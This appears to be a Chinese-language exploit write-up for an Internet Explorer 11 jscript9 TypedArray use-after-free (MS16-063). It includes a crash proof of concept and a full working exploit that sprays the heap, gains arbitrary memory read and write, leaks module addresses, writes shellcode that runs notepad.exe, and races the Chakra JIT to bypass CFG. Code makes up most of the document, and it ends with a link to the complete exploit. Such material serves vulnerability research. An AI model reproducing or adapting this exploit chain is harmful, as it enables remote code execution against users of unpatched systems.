1. 漏洞分析
由于是关于堆的漏洞,为了调试方便开启HPA
和UST
,打开POC页面
<html>
<body>
<script>
function pwn() {
var ab = new ArrayBuffer(1000 * 1024);
var ia = new Int8Array(ab);
detach(ab);
setTimeout(main, 50, ia);
function detach(ab) {
postMessage("", "*", [ab]);
}
function main(ia) {
ia[100] = 0x41414141;
}
}
setTimeout(pwn, 50);
</script>
</body>
</html>
立即造成Crash
看下esi
指向的堆
可以看到esi
指向了释放的堆,并从释放时的栈回溯来看是由postMessage("", "*", [ab])
释放的,再看下Crash时的栈回溯,从这大概可以猜到是由于ia[100] = 0x41414141
向释放后的堆赋值导致Crash
看下Js::TypedArray<char,0>::DirectSetItem
函数可以发现在赋值时并没有检测本身是否已经释放,这样就可能导致UAF,同样这个问题也存在于DirectGetItem
函数中
2. 漏洞利用
Windows 7下的利用较简单,这里主要分析下Windows 10下利用Chakra JIT绕过CFG的EXP, Chakra JIT主要是为多次调用的函数或循环生成优化的JIT代码,在最后会通过Encoder生成本地代码,在这期间会用一个buffer来临时存放本地代码,再将buffer存到可执行内存,最后按照CFG的机制执行,如果在buffer存到可执行内存前修改其内容,这样就可以绕过CFG,下面是参考https://github.com/theori-io/jscript9-typedarray-cfg的EXP
<!DOCTYPE html>
<html>
<body>
<script>
var arr = new Array(100000);
var ab2 = new ArrayBuffer(0x1337);
// 调用VirtualProtect修改内存为可执行并跳到shellcode
var scbytes = new Array(0xbe, 0x41, 0x41, 0x41, 0x41, 0xb9, 0x41, 0x41, 0x41, 0x41, 0x54, 0x6a, 0x40, 0x6a, 0x7f, 0x56, 0xff, 0x11, 0xff, 0xe6);
var scarray = new Uint8Array(new Array(scbytes.length));
scarray.set(scbytes, 0);
// 使用Uint8Array分配LFH,对释放的堆进行占位
function sprayHeap() {
for (var i = 0; i < 10000; i++) {
arr[i] = new Uint8Array(ab2);
}
}
function pwn() {
var lengthIdx;
var mv;
var jscript9Base;
var ab = new ArrayBuffer(1024*1024*2);
var ia = new Int8Array(ab);
detach(ab);
setTimeout(main, 500, ia);
function detach(ab) {
postMessage("", "*", [ab]);
}
function ub(sb) {
return (sb < 0) ? sb + 0x100 : sb;
}
// 修改TypedArray的buffer地址来实现任意读写
function setAddress(addr) {
ia[lengthIdx + 4] = addr & 0xFF;
ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF;
ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF;
ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF;
}
function readN(addr, n) {
if (n != 4 && n != 8)
return 0;
setAddress(addr);
var ret = 0;
for (var i = 0; i < n; i++)
ret |= (mv[i] << (i * 8))
return ret;
}
function writeN(addr, val, n) {
if (n != 2 && n != 4 && n != 8)
return;
setAddress(addr);
for (var i = 0; i < n; i++)
mv[i] = (val >> (i * 8)) & 0xFF
}
function main(ia) {
// 占位
sprayHeap();
for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++)
{
if (ia[i] === undefined) {
window.alert(':( ' + i.toString());
}
}
ia[i]++;
lengthIdx = i;
try {
for (var i = 0; arr[i].length != 0x1338; i++);
} catch (e) {
window.alert(':( ' + i.toString());
}
// 找到可控制的TypedArray
mv = arr[i];
var shcodeAddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24;
// 泄漏TypedArray的vftable地址
var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24;
// 泄漏jscript9模块的基址
jscript9Base = (vtable - 0x1cc1c) & 0xFFFF0000;
var vpaddr = jscript9Base + 0x33610C;
// 填充shellcode和VirtualProtect的地址
scbytes[1] = (shcodeAddr>>0) & 0xff;
scbytes[2] = (shcodeAddr>>8) & 0xff;
scbytes[3] = (shcodeAddr>>16) & 0xff;
scbytes[4] = (shcodeAddr>>24) & 0xff;
scbytes[6] = (vpaddr>>0) & 0xff;
scbytes[7] = (vpaddr>>8) & 0xff;
scbytes[8] = (vpaddr>>16) & 0xff;
scbytes[9] = (vpaddr>>24) & 0xff;
// shellcode
var stage2 = [
0x0089E8FC, 0x89600000, 0x64D231E5, 0x8B30528B, 0x528B0C52, 0x28728B14, 0x264AB70F, 0xC031FF31,
0x7C613CAC, 0xC1202C02, 0xC7010DCF, 0x5752F0E2, 0x8B10528B, 0xD0013C42, 0x8578408B, 0x014A74C0,
0x488B50D0, 0x20588B18, 0x3CE3D301, 0x8B348B49, 0xFF31D601, 0xC1ACC031, 0xC7010DCF, 0xF475E038,
0x3BF87D03, 0xE275247D, 0x24588B58, 0x8B66D301, 0x588B4B0C, 0x8BD3011C, 0xD0018B04, 0x24244489,
0x59615B5B, 0xE0FF515A, 0x8B5A5F58, 0x5D86EB12, 0x858D016A, 0x000000B9, 0x8B316850, 0xD5FF876F,
0x320EFEBB, 0x95A668EA, 0xD5FF9DBD, 0x0A7C063C, 0x75E0FB80, 0x1347BB05, 0x006A6F72, 0x6ED5FF53,
0x7065746F, 0x652E6461, 0x00006578
];
// 写shellcode
for (var i = 0; i < stage2.length; i++)
writeN(shcodeAddr + i * 4, stage2[i], 4);
// 利用Chakra JIT绕过CFG
// The plan:
// - trigger JIT
// - find JIT buffer
// - modify JIT buffer
// construct a "large" function
// XXX this could be improved
var code = "var i = 10; var j = 1; ";
for (var i = 0; i < 6000; i++)
{
code += "i *= i + j.toString();";
}
code += "return i.toString();"
f = Function(code);
// find the ThreadContext
var tctx = readN(jscript9Base + 0x335060, 4);
// BackgroundJobProcessor
var bgjob = readN(tctx + 0x3b0, 4);
// PageAllocator
var pgalloc = bgjob + 0x1c;
var buf;
var race = function() {
// find the large segment (should be exactly one)
var largeseg = readN(pgalloc + 0x24, 4);
// check if the list was empty
if (largeseg == pgalloc + 0x24) return false;
// get the address of the actual data
var page = readN(largeseg + 8 + 8, 4);
if (page == 0) return false;
buf = page + 0x18;
// overwrite the emitted instructions
// but avoid overwriting addresses that will be relocated
setAddress(buf);
mv[0] = 0xeb;
mv[1] = 0x34;
setAddress(buf + 0x36);
mv.set(scbytes, 0);
return true;
};
for (var i = 0; i < 1000; i++)
{
// warm-up
race();
}
for (var i = 0; i < 1000; i++)
{
// trigger jit
f.call();
}
while (!race())
{
// wait until we overwrite in-progress jit block
}
for (var i = 0; i < 1000; i++)
{
// call overwritten jit block
f.call();
}
}
}
setTimeout(pwn, 50);
</script>
</body>
</html>
最后利用成功执行notepad.exe
测试环境
- 操作系统:Windows 10 x86 专业版
- IE版本:11.0.10240.16384
完整EXP下载:https://github.com/birdg0/exp/blob/master/browser/ie11-ms16-063-bypass-cfg-exp.html